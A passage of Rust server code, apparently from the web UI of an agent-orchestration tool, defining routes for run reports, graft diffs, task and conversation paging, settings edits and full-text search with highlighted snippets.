4396/// The structured twin of [`run_report`]: the same state, as sections the UI
4397/// draws as cards. An unreadable run answers with the same error the text
4398/// route does; it is never turned into an empty report.
4399async fn run_report_json(
4400    State(ui): State<Arc<Ui>>,
4401    Path(id): Path<String>,
4402) -> ApiResult<Json<crate::report_view::RunReportView>> {
4403    let view = blocking(move || {
4404        let id = resolve_run(&ui.runs, &id)?;
4405        let state = read_run(&ui.runs, &id)?;
4406        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4407        // Only a record that lacks the structured details reads `artifacts/`.
4408        let recovered = state.graft.as_ref().map(|_| {
4409            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4410        });
4411        Ok(crate::report_view::build_with(
4412            &state,
4413            state.liveness(daemon_claims),
4414            recovered.as_ref(),
4415        ))
4416    })
4417    .await?;
4418    Ok(Json(view))
4419}
4420
4421/// Most of a graft diff the route returns.
4422const GRAFT_DIFF_MAX: usize = 400 * 1024;
4423/// How long `git diff` may run.
4424const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4425
4426/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4427/// come from the run record, never from the request.
4428async fn run_graft_diff(
4429    State(ui): State<Arc<Ui>>,
4430    Path(id): Path<String>,
4431) -> ApiResult<impl IntoResponse> {
4432    let (repo, pre, post) = blocking(move || {
4433        let id = resolve_run(&ui.runs, &id)?;
4434        let state = read_run(&ui.runs, &id)?;
4435        let g = state
4436            .graft
4437            .as_ref()
4438            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4439        let post = g
4440            .post
4441            .clone()
4442            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4443        Ok((state.repo.clone(), g.pre.clone(), post))
4444    })
4445    .await?;
4446    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4447    if !hex(&pre) || !hex(&post) {
4448        return Err(ApiError::not_found("the recorded commits are not valid"));
4449    }
4450    let out = tokio::time::timeout(
4451        GRAFT_DIFF_TIMEOUT,
4452        crate::git::git_raw(
4453            &repo,
4454            &[
4455                "diff",
4456                "--no-color",
4457                "--no-ext-diff",
4458                "-M",
4459                &pre,
4460                &post,
4461                "--",
4462            ],
4463        ),
4464    )
4465    .await
4466    .map_err(|_| ApiError::not_found("git diff timed out"))?
4467    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4468    if out.code != Some(0) {
4469        return Err(ApiError::not_found(
4470            "the recorded commits are no longer in the repository",
4471        ));
4472    }
4473    let mut body = out.stdout;
4474    if body.len() > GRAFT_DIFF_MAX {
4475        let mut cut = GRAFT_DIFF_MAX;
4476        while !body.is_char_boundary(cut) {
4477            cut -= 1;
4478        }
4479        body.truncate(cut);
4480        body.push_str("\n... diff truncated ...");
4481    }
4482    Ok((
4483        [
4484            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4485            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4486        ],
4487        body,
4488    ))
4489}
4490
4491/// A task as the UI sees it.
4492///
4493/// The whole task, plus the two things the client would otherwise have to
4494/// reimplement: the human-readable source and the status string. Nothing is
4495/// removed - the phone shows `last_error` and the run history verbatim.
4496#[derive(Debug, Serialize)]
4497struct TaskView {
4498    #[serde(flatten)]
4499    task: Task,
4500    source_label: String,
4501    source_link: Option<SourceLink>,
4502    status_str: &'static str,
4503    /// The instruction, parsed as markdown, for the Queue card's "Full
4504    /// instruction" panel. `task.instruction` is unchanged and still carries
4505    /// the raw text.
4506    instruction_md: Vec<md::Node>,
4507    /// For a blocked task, what it waits on with each dependency's state, e.g.
4508    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4509    /// recurses; empty for every other status.
4510    waits_on: Vec<String>,
4511    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4512    /// behind - non-empty means nothing in the loop will ever run it.
4513    stuck_roots: Vec<String>,
4514}
4515
4516impl From<Task> for TaskView {
4517    fn from(task: Task) -> Self {
4518        Self {
4519            source_label: task.source.label(),
4520            source_link: source_link(&task.source),
4521            status_str: task.status.as_str(),
4522            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4523            waits_on: Vec::new(),
4524            stuck_roots: Vec::new(),
4525            task,
4526        }
4527    }
4528}
4529
4530impl TaskView {
4531    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4532        let waits_on = inv.waits_on(&task);
4533        let stuck_roots = inv
4534            .stuck_roots(&task)
4535            .iter()
4536            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4537            .collect();
4538        Self {
4539            waits_on,
4540            stuck_roots,
4541            ..Self::from(task)
4542        }
4543    }
4544}
4545
4546/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4547/// its absence, leaves the cache to decide.
4548#[derive(Debug, Default, Deserialize)]
4549#[serde(default)]
4550struct ReposQuery {
4551    refresh: u8,
4552}
4553
4554/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4555/// listing `magi repos` prints at a terminal.
4556///
4557/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4558/// so an edit to `magi.toml` takes effect without a restart, the same
4559/// reasoning [`config_for`] documents for the talk routes.
4560async fn repos_list(
4561    State(ui): State<Arc<Ui>>,
4562    Query(q): Query<ReposQuery>,
4563) -> ApiResult<Json<Vec<repos::Repo>>> {
4564    let refresh = q.refresh != 0;
4565    blocking(move || {
4566        let (cfg, _) = Config::discover(&ui.repo, None)?;
4567        Ok(Json(ui.repos_cache.list(
4568            &cfg.repos.roots,
4569            Duration::from_secs(cfg.repos.scan_ttl),
4570            refresh,
4571        )))
4572    })
4573    .await
4574}
4575
4576/// Optional context, restricted to the server's known checkouts.
4577#[derive(Debug, Default, Deserialize)]
4578struct SettingsQuery {
4579    repo: Option<PathBuf>,
4580}
4581
4582/// Always discover against the server's original context, never the selection.
4583/// If that config is broken, retain the default context and machine-only roots
4584/// so the settings error contract and recovery picker remain available.
4585fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4586    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4587        let paths: Vec<PathBuf> = ui
4588            .machine_config
4589            .iter()
4590            .filter(|p| p.is_file())
4591            .cloned()
4592            .collect();
4593        if paths.is_empty() {
4594            Ok(Config::autodetected())
4595        } else {
4596            Config::load_layers(&paths)
4597        }
4598    });
4599    let mut known = cfg
4600        .map(|cfg| {
4601            ui.repos_cache.list(
4602                &cfg.repos.roots,
4603                Duration::from_secs(cfg.repos.scan_ttl),
4604                refresh,
4605            )
4606        })
4607        .unwrap_or_default();
4608    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4609    if !known.iter().any(|r| r.path == path) {
4610        known.push(repos::Repo {
4611            name: path
4612                .file_name()
4613                .unwrap_or_default()
4614                .to_string_lossy()
4615                .into_owned(),
4616            path,
4617        });
4618    }
4619    known
4620}
4621
4622fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4623    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4624    let canonical = requested.canonicalize().ok();
4625    let mut known = settings_repositories(ui, false);
4626    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4627    if !known.iter().any(matches) {
4628        known = settings_repositories(ui, true);
4629    }
4630    let repo = known
4631        .iter()
4632        .find(|r| matches(r))
4633        .map(|r| r.path.clone())
4634        .ok_or_else(|| ApiError {
4635            text_reason: None,
4636            status: StatusCode::UNPROCESSABLE_ENTITY,
4637            message: "Choose a known repository from the Settings selector.".to_owned(),
4638        })?;
4639    Ok((repo, known))
4640}
4641
4642/// `GET /api/settings` - the effective role assignments and roster, with the
4643/// layer each came from. A config that fails to load answers 200 with an
4644/// `error`, so the screen can say so instead of drawing empty lists.
4645async fn settings_get(
4646    State(ui): State<Arc<Ui>>,
4647    Query(q): Query<SettingsQuery>,
4648) -> ApiResult<Json<settings::SettingsView>> {
4649    blocking(move || {
4650        let (repo, known) = settings_context(&ui, q)?;
4651        Ok(Json(settings::view_with_repos(
4652            &repo,
4653            ui.machine_config.as_deref(),
4654            &known,
4655        )))
4656    })
4657    .await
4658}
4659
4660/// The body of `PUT /api/settings/roles`.
4661#[derive(Debug, Deserialize)]
4662#[serde(deny_unknown_fields)]
4663struct RolesBody {
4664    /// The `revision` the client last read.
4665    revision: String,
4666    /// Role key to its new ids; an empty list resets the key to its default.
4667    #[serde(default)]
4668    roles: std::collections::BTreeMap<String, Vec<String>>,
4669    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4670    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4671    /// words (422) instead of as a deserialization error.
4672    #[serde(default)]
4673    counts: std::collections::BTreeMap<String, serde_json::Value>,
4674}
4675
4676/// `PUT /api/settings/roles` - save role assignments to the machine config.
4677///
4678/// The write target is `ui.machine_config` and nothing in the body can change
4679/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4680/// 422 with the reason in words.
4681async fn settings_put_roles(
4682    State(ui): State<Arc<Ui>>,
4683    Query(q): Query<SettingsQuery>,
4684    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4685) -> ApiResult<Json<settings::SettingsView>> {
4686    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4687    blocking(move || {
4688        let (repo, known) = settings_context(&ui, q)?;
4689        settings::save_with_repos(
4690            &repo,
4691            ui.machine_config.as_deref(),
4692            &body.revision,
4693            &body.roles,
4694            &body.counts,
4695            &known,
4696        )
4697        .map(Json)
4698        .map_err(|e| match e {
4699            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4700            settings::SaveError::Refused(m) => ApiError {
4701                text_reason: None,
4702                status: StatusCode::UNPROCESSABLE_ENTITY,
4703                message: m,
4704            },
4705            settings::SaveError::Internal(m) => ApiError::internal(m),
4706        })
4707    })
4708    .await
4709}
4710
4711async fn queue_list(
4712    State(ui): State<Arc<Ui>>,
4713    Query(q): Query<ListQuery>,
4714) -> ApiResult<Json<Vec<TaskView>>> {
4715    blocking(move || {
4716        let tasks = ui.queue.list();
4717        let inv =
4718            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4719        Ok(Json(
4720            tasks
4721                .into_iter()
4722                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4723                .map(|t| TaskView::with_inventory(t, &inv))
4724                .collect(),
4725        ))
4726    })
4727    .await
4728}
4729
4730/// Cursor pages read a bounded number of records, never the older transcripts
4731/// or instructions. Cursors advance through a frozen file-name snapshot,
4732/// including corrupt rows, so skipped/deleted records cannot repeat a page.
4733/// Concurrent inserts are reconciled by a trailing store refresh.
4734#[derive(Debug, Default, Deserialize)]
4735struct PageQuery {
4736    before: Option<String>,
4737}
4738
4739#[derive(Serialize)]
4740struct StorePage<T> {
4741    rows: Vec<T>,
4742    next: Option<String>,
4743}
4744
4745const STORE_PAGE_SIZE: usize = 16;
4746
4747/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
4748/// always read from disk; writes/deletions during the walk are reconciled by
4749/// the next store revision. Never rescan the entire directory for every page.
4750#[derive(Debug)]
4751struct ListWalk {
4752    token: u64,
4753    talks: bool,
4754    opened: std::time::Instant,
4755    ids: Arc<Vec<String>>,
4756}
4757
4758fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4759    let mut walks = ui
4760        .monitor
4761        .list_walks
4762        .lock()
4763        .unwrap_or_else(PoisonError::into_inner);
4764    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4765    let (token, ids, offset) = if let Some(cursor) = q.before {
4766        let (token, offset) = cursor
4767            .split_once(':')
4768            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4769        let token = token
4770            .parse::<u64>()
4771            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4772        let offset = offset
4773            .parse::<usize>()
4774            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4775        let walk = walks
4776            .iter()
4777            .find(|walk| walk.token == token && walk.talks == talks)
4778            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4779        (token, walk.ids.clone(), offset)
4780    } else {
4781        let root = if talks {
4782            ui.talks.root()
4783        } else {
4784            ui.queue.root()
4785        };
4786        let mut ids = crate::queue::record_ids(root, "json")?;
4787        ids.sort_unstable_by(|a, b| b.cmp(a));
4788        let ids = Arc::new(ids);
4789        let mut token = crate::rng::entropy();
4790        while walks.iter().any(|walk| walk.token == token) {
4791            token = crate::rng::entropy();
4792        }
4793        // Four clients can enumerate both stores and overlap a refresh. Bound
4794        // retained membership snapshots; an evicted cursor explicitly retries.
4795        if walks.len() >= 16 {
4796            walks.remove(0);
4797        }
4798        walks.push(ListWalk {
4799            token,
4800            talks,
4801            opened: std::time::Instant::now(),
4802            ids: ids.clone(),
4803        });
4804        (token, ids, 0)
4805    };
4806    if offset > ids.len() {
4807        return Err(ApiError::bad_request("Invalid list cursor"));
4808    }
4809    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4810    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4811    Ok((ids[offset..end].to_vec(), next))
4812}
4813
4814async fn queue_page(
4815    State(ui): State<Arc<Ui>>,
4816    Query(q): Query<PageQuery>,
4817) -> ApiResult<Json<StorePage<TaskView>>> {
4818    blocking(move || {
4819        let (ids, next) = page_ids(&ui, false, q)?;
4820        let tasks: Vec<_> = ids
4821            .into_iter()
4822            .filter_map(|id| ui.queue.get(&id).ok())
4823            .collect();
4824        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4825        let rows = tasks
4826            .into_iter()
4827            .map(|task| TaskView::with_inventory(task, &inv))
4828            .collect();
4829        Ok(Json(StorePage { rows, next }))
4830    })
4831    .await
4832}
4833
4834/// List-only projection: retain every turn timestamp for exact unread counts,
4835/// but do not ship transcripts, parse Markdown or discover repository config.
4836/// Opening a conversation obtains its full context window and controls.
4837#[derive(Serialize)]
4838struct TalkListView {
4839    id: String,
4840    repo: PathBuf,
4841    agent: String,
4842    status: talk::TalkStatus,
4843    turns: Vec<TalkListTurn>,
4844    thinking: bool,
4845    context: talk::ContextUsage,
4846    created_at: Timestamp,
4847    updated_at: Timestamp,
4848}
4849
4850#[derive(Serialize)]
4851struct TalkListTurn {
4852    who: talk::Who,
4853    at: Timestamp,
4854    body: String,
4855}
4856
4857async fn talks_page(
4858    State(ui): State<Arc<Ui>>,
4859    Query(q): Query<PageQuery>,
4860) -> ApiResult<Json<StorePage<TalkListView>>> {
4861    blocking(move || {
4862        let (ids, next) = page_ids(&ui, true, q)?;
4863        let rows = ids
4864            .into_iter()
4865            .filter_map(|id| ui.talks.get(&id).ok())
4866            .map(|talk| TalkListView {
4867                thinking: ui.is_thinking(&talk.id),
4868                context: talk::context_usage(&talk, None),
4869                turns: talk
4870                    .turns
4871                    .iter()
4872                    .map(|turn| TalkListTurn {
4873                        who: turn.who,
4874                        at: turn.at,
4875                        body: turn
4876                            .body
4877                            .lines()
4878                            .next()
4879                            .unwrap_or_default()
4880                            .chars()
4881                            .take(240)
4882                            .collect(),
4883                    })
4884                    .collect(),
4885                id: talk.id,
4886                repo: talk.repo,
4887                agent: talk.agent,
4888                status: talk.status,
4889                created_at: talk.created_at,
4890                updated_at: talk.updated_at,
4891            })
4892            .collect();
4893        Ok(Json(StorePage { rows, next }))
4894    })
4895    .await
4896}
4897
4898async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4899    blocking(move || {
4900        let tasks = ui.indexed_tasks()?;
4901        Ok(Json(TaskCountsView::from(
4902            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4903        )))
4904    })
4905    .await
4906}
4907
4908/// Most hits one search returns. The rest are counted in `total`.
4909const SEARCH_MAX_HITS: usize = 100;
4910/// Longest query, in characters, and most terms it is split into.
4911const SEARCH_MAX_QUERY: usize = 200;
4912const SEARCH_MAX_TERMS: usize = 8;
4913/// Characters of context kept before the first hit, and after it.
4914const SNIPPET_BEFORE: usize = 50;
4915const SNIPPET_AFTER: usize = 110;
4916
4917/// `?scope=runs|tasks&q=...`
4918#[derive(Debug, Deserialize)]
4919struct SearchQuery {
4920    #[serde(default)]
4921    scope: String,
4922    #[serde(default)]
4923    q: String,
4924}
4925
4926/// One piece of a snippet. `hit` pieces are what matched; the client renders
4927/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4928#[derive(Debug, Serialize, PartialEq, Eq)]
4929struct SnippetPart {
4930    text: String,
4931    hit: bool,
4932}
4933
4934#[derive(Debug, Serialize)]
4935struct SearchHit {
4936    id: String,
4937    /// The name of the field the snippet was cut from.
4938    field: String,
4939    snippet: Vec<SnippetPart>,
4940    /// The run's list row, so the page can apply its state / section / repo
4941    /// filters to a hit outside the loaded window. Absent for tasks and for a
4942    /// run record the list view cannot read.
4943    #[serde(skip_serializing_if = "Option::is_none")]
4944    run: Option<RunSummary>,
4945}
4946
4947#[derive(Debug, Serialize)]
4948struct SearchView {
4949    scope: String,
4950    q: String,
4951    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4952    hits: Vec<SearchHit>,
4953    /// Every match, hits beyond the cap included.
4954    total: usize,
4955    truncated: bool,
4956    /// Runs whose `run.json` could not be parsed at all. They were not
4957    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4958    unreadable: usize,
4959}
4960
4961/// The text leaves of a JSON document, with the name of the field each sits
4962/// under. Keys and numbers are skipped: they are structure, not prose.
4963fn text_leaves<'a>(
4964    value: &'a serde_json::Value,
4965    field: &'a str,
4966    out: &mut Vec<(&'a str, &'a str)>,
4967) {
4968    match value {
4969        serde_json::Value::String(s) => out.push((field, s)),
4970        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4971        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4972        _ => {}
4973    }
4974}
4975
4976/// Lower-case one character without changing how many there are, so indices
4977/// in the lowered text are indices in the original.
4978fn fold_char(c: char) -> char {
4979    c.to_lowercase().next().unwrap_or(c)
4980}
4981
4982/// Split a query into its lower-cased terms.
4983fn search_terms(q: &str) -> Vec<String> {
4984    let mut terms: Vec<String> = Vec::new();
4985    for t in q.split_whitespace() {
4986        let t = t.to_lowercase();
4987        if !terms.contains(&t) {
4988            terms.push(t);
4989        }
4990    }
4991    terms
4992}
4993
4994/// Match `terms` (all of them, anywhere in the document) against the leaves
4995/// and cut a snippet around the first hit. `None` when a term is missing.
4996fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4997    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4998    let mut first: Option<usize> = None;
4999    for term in terms {
5000        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5001        first = Some(first.map_or(at, |f| f.min(at)));
5002    }
5003    // The leaf holding the earliest hit of any term is where the snippet is cut.
5004    let (field, text) = leaves[first?];
5005    Some(SearchHit {
5006        id: String::new(),
5007        field: field.to_owned(),
5008        snippet: snippet_of(text, terms),
5009        run: None,
5010    })
5011}
5012
5013/// A window of `text` around the first occurrence of any term, whitespace
5014/// collapsed, with every term occurrence inside the window marked.
5015fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5016    let chars: Vec<char> = text.chars().collect();
5017    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5018    let needles: Vec<Vec<char>> = terms
5019        .iter()
5020        .map(|t| t.chars().map(fold_char).collect())
5021        .collect();
5022    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5023        let mut best: Option<(usize, usize)> = None;
5024        for n in needles.iter().filter(|n| !n.is_empty()) {
5025            // `to` bounds where a match may start; it may run past `to` (the
5026            // caller clips what it shows). A term longer than the field cannot
5027            // occur in it (it may live in another leaf of the document).
5028            if n.len() > chars.len() || to == 0 {
5029                continue;
5030            }
5031            let last = (to - 1).min(chars.len() - n.len());
5032            if from > last {
5033                continue;
5034            }
5035            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5036                && best.is_none_or(|(b, _)| i < b)
5037            {
5038                best = Some((i, i + n.len()));
5039            }
5040        }
5041        best
5042    };
5043    let Some((start, _)) = find(0, chars.len()) else {
5044        // Matched only through a case mapping that changes length: show the head.
5045        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5046        return vec![SnippetPart {
5047            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5048            hit: false,
5049        }];
5050    };
5051    let lo = start.saturating_sub(SNIPPET_BEFORE);
5052    let hi = (start + SNIPPET_AFTER).min(chars.len());
5053    let mut parts: Vec<SnippetPart> = Vec::new();
5054    let mut push = |s: &[char], hit: bool| {
5055        if s.is_empty() {
5056            return;
5057        }
5058        let text: String = s.iter().collect();
5059        match parts.last_mut() {
5060            Some(p) if p.hit == hit => p.text.push_str(&text),
5061            _ => parts.push(SnippetPart { text, hit }),
5062        }
5063    };
5064    if lo > 0 {
5065        push(&['\u{2026}'], false);
5066    }
5067    let mut at = lo;
5068    while at < hi {
5069        match find(at, hi) {
5070            Some((s, e)) => {
5071                push(&chars[at..s], false);
5072                // A match running past the window is shown up to its edge.
5073                let shown = e.min(hi);
5074                push(&chars[s..shown], true);
5075                at = shown;
5076            }
5077            None => {
5078                push(&chars[at..hi], false);
5079                at = hi;
5080            }
5081        }
5082    }
5083    if hi < chars.len() {
5084        push(&['\u{2026}'], false);
5085    }
5086    // Collapse whitespace (newlines in an instruction) without disturbing the
5087    // hit boundaries.
5088    let mut prev_space = false;
5089    for p in &mut parts {
5090        let mut out = String::with_capacity(p.text.len());
5091        for c in p.text.chars() {
5092            if c.is_whitespace() {
5093                if !prev_space {
5094                    out.push(' ');
5095                }
5096                prev_space = true;
5097            } else {
5098                out.push(c);
5099                prev_space = false;
5100            }
5101        }
5102        p.text = out;
5103    }
5104    parts.retain(|p| !p.text.is_empty());
5105    parts
5106}
5107
5108/// The search over `docs` (id, document), newest first, capped.
5109fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5110where
5111    I: IntoIterator<Item = (String, serde_json::Value)>,
5112{
5113    for (id, doc) in docs {
5114        let mut leaves = Vec::new();
5115        // The id is text an operator types too, and it is a map key on disk,
5116        // not a leaf.
5117        leaves.push(("id", id.as_str()));
5118        text_leaves(&doc, "", &mut leaves);
5119        if let Some(mut hit) = search_document(terms, &leaves) {
5120            view.total += 1;
5121            if view.hits.len() < SEARCH_MAX_HITS {
5122                hit.id = id;
5123                view.hits.push(hit);
5124            }
5125        }
5126    }
5127    view.truncated = view.total > view.hits.len();
5128}
5129
5130/// What a conversation is searched by: its list title and each turn's text,
5131/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5132/// (session ids, repo paths, usage, drafts) is part of the document.
5133///
5134/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
5135/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
5136fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5137    let opener = talk
5138        .turns
5139        .iter()
5140        .find(|t| t.who == crate::talk::Who::Operator)
5141        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5142        .unwrap_or("");
5143    let title: String = if opener.chars().count() > 96 {
5144        opener.chars().take(95).chain(['\u{2026}']).collect()
5145    } else {
5146        opener.to_owned()
5147    };
5148    let turns: Vec<serde_json::Value> = talk
5149        .turns
5150        .iter()
5151        .map(|t| {
5152            let who = match t.who {
5153                crate::talk::Who::Operator => "operator",
5154                crate::talk::Who::Agent => "agent",
5155            };
5156            serde_json::json!({ who: t.body })
5157        })
5158        .collect();
5159    serde_json::json!({ "title": title, "turns": turns })
5160}
5161
5162/// Read-only full-text search over every run's `run.json`, every task or every
5163/// conversation (title and transcript).
5164///
5165/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5166/// record from an older schema still searches; only a file that is not JSON
5167/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5168async fn search_get(
5169    State(ui): State<Arc<Ui>>,
5170    Query(q): Query<SearchQuery>,
5171) -> ApiResult<Json<SearchView>> {
5172    let query = q.q.trim().to_owned();
5173    if query.is_empty() {
5174        return Err(ApiError::bad_request("q must not be empty"));
5175    }
5176    if query.chars().count() > SEARCH_MAX_QUERY {
5177        return Err(ApiError::bad_request(format!(
5178            "q is longer than {SEARCH_MAX_QUERY} characters"
5179        )));
5180    }
5181    let terms = search_terms(&query);
5182    if terms.len() > SEARCH_MAX_TERMS {
5183        return Err(ApiError::bad_request(format!(
5184            "q has more than {SEARCH_MAX_TERMS} terms"
5185        )));
5186    }
5187    let scope = q.scope;
5188    if scope != "runs" && scope != "tasks" && scope != "chats" {
5189        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5190    }
5191    blocking(move || {
5192        let mut view = SearchView {
5193            scope: scope.clone(),
5194            q: query,
5195            hits: Vec::new(),
5196            total: 0,
5197            truncated: false,
5198            unreadable: 0,
5199        };
5200        if scope == "runs" {
5201            let mut unreadable = 0;
5202            // One run.json is read, matched and dropped at a time; nothing
5203            // holds the whole history. The scan runs to the end even past the
5204            // hit cap so `total` and `unreadable` stay exact.
5205            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5206                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5207                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5208                    Some(v) => Some((id, v)),
5209                    None => {
5210                        unreadable += 1;
5211                        None
5212                    }
5213                }
5214            });
5215            search_docs(&terms, docs, &mut view);
5216            view.unreadable = unreadable;
5217            // Only the capped hits get a row: the filters need a run's state,
5218            // and reading every match would be the whole history again.
5219            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5220            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5221            for hit in &mut view.hits {
5222                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5223                    hit.run = summarize(
5224                        [state],
5225                        &open_runs,
5226                        &claimed,
5227                        &superseded,
5228                        |p| probe.borrow_mut().status(p),
5229                        |p| probe.borrow_mut().started_at(p),
5230                    )
5231                    .pop();
5232                }
5233            }
5234        } else if scope == "chats" {
5235            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5236            view.unreadable = unreadable;
5237            search_docs(
5238                &terms,
5239                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5240                &mut view,
5241            );
5242        } else {
5243            let docs = ui.queue.list().into_iter().filter_map(|t| {
5244                let mut v = serde_json::to_value(&t).ok()?;
5245                // `source` serialises as a tagged object; the label is what
5246                // the operator reads ("human", "chat@a1b2").
5247                if let Some(o) = v.as_object_mut() {
5248                    o.insert("filed_by".to_owned(), t.source.label().into());
5249                }
5250                Some((t.id, v))
5251            });
5252            search_docs(&terms, docs, &mut view);
5253        }
5254        Ok(Json(view))
5255    })
5256    .await
5257}
5258
5259/// One attempt in a task's history, as the task page lists it.
5260#[derive(Debug, Serialize)]
5261struct TaskRunView {
5262    /// 1-based position in [`Task::runs`].
5263    n: usize,
5264    id: String,
5265    short: String,
5266    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5267    kind: &'static str,
5268    /// The run's own status string; `None` when its record cannot be read.
5269    status: Option<&'static str>,
5270    /// Whether this build could read the run's record. Counted, never hidden.
5271    readable: bool,
5272    /// A verdict from a collapsed panel is provisional, never a decision.
5273    provisional: bool,
5274    /// What kind of attempt this was, in one line.
5275    description: String,
5276    /// How it ended and why the task moved on (or what it is doing now).
5277    outcome: String,
5278    created_at: Option<Timestamp>,
5279    pr: Option<String>,
5280    /// Why this pass ended, classified once; the flowchart is built from it.
5281    exit: RunExit,
5282    /// What the pass did to the task's attempt budget.
5283    attempt: AttemptCost,
5284    /// Edge wording for leaving this entry; names the recorded cause when
5285    /// there is one.
5286    exit_label: String,
5287    /// The position of a later entry for the same run: this entry is an
5288    /// earlier pass of it.
5289    later_pass: Option<usize>,
5290    /// Which pass over the run this entry is (1-based) and how many entries
5291    /// the task lists for the run. Counted from the list, so known even for
5292    /// a legacy record.
5293    pass_n: usize,
5294    passes_of_run: usize,
5295    /// What the run recorded about this pass; `None` for a record from before
5296    /// passes were kept, whose cause stays unknown.
5297    pass: Option<PassView>,
5298    /// The branch a review-only run reopened.
5299    branch: Option<String>,
5300    /// The badge word when it differs from `status` (`stale` / `superseded`);
5301    /// filled by the task route, which can see liveness and later attempts.
5302    badge: Option<String>,
5303}
5304
5305/// One recorded pass over a run, for the wire.
5306#[derive(Debug, Clone, PartialEq, Serialize)]
5307struct PassView {
5308    index: usize,
5309    resumed: bool,
5310    started_at: Timestamp,
5311    ended_at: Option<Timestamp>,
5312    /// `open`, `parked` or `unrecorded`.
5313    end: &'static str,
5314    cause: Option<crate::run::ParkCause>,
5315    /// One line: why it stopped, or that nobody recorded why.
5316    label: String,
5317    /// What the task recorded for this pass; `None` when it was not settled
5318    /// (or settled by a build that kept no record).
5319    cost: Option<crate::queue::PassCost>,
5320}
5321
5322impl PassView {
5323    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5324        use crate::run::PassEnd;
5325        let (end, cause, label) = match &p.end {
5326            None => ("open", None, "still open".to_owned()),
5327            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5328            Some(PassEnd::Unrecorded) => (
5329                "unrecorded",
5330                None,
5331                "stopped without recording why (a crash, a kill or a restart; not known)"
5332                    .to_owned(),
5333            ),
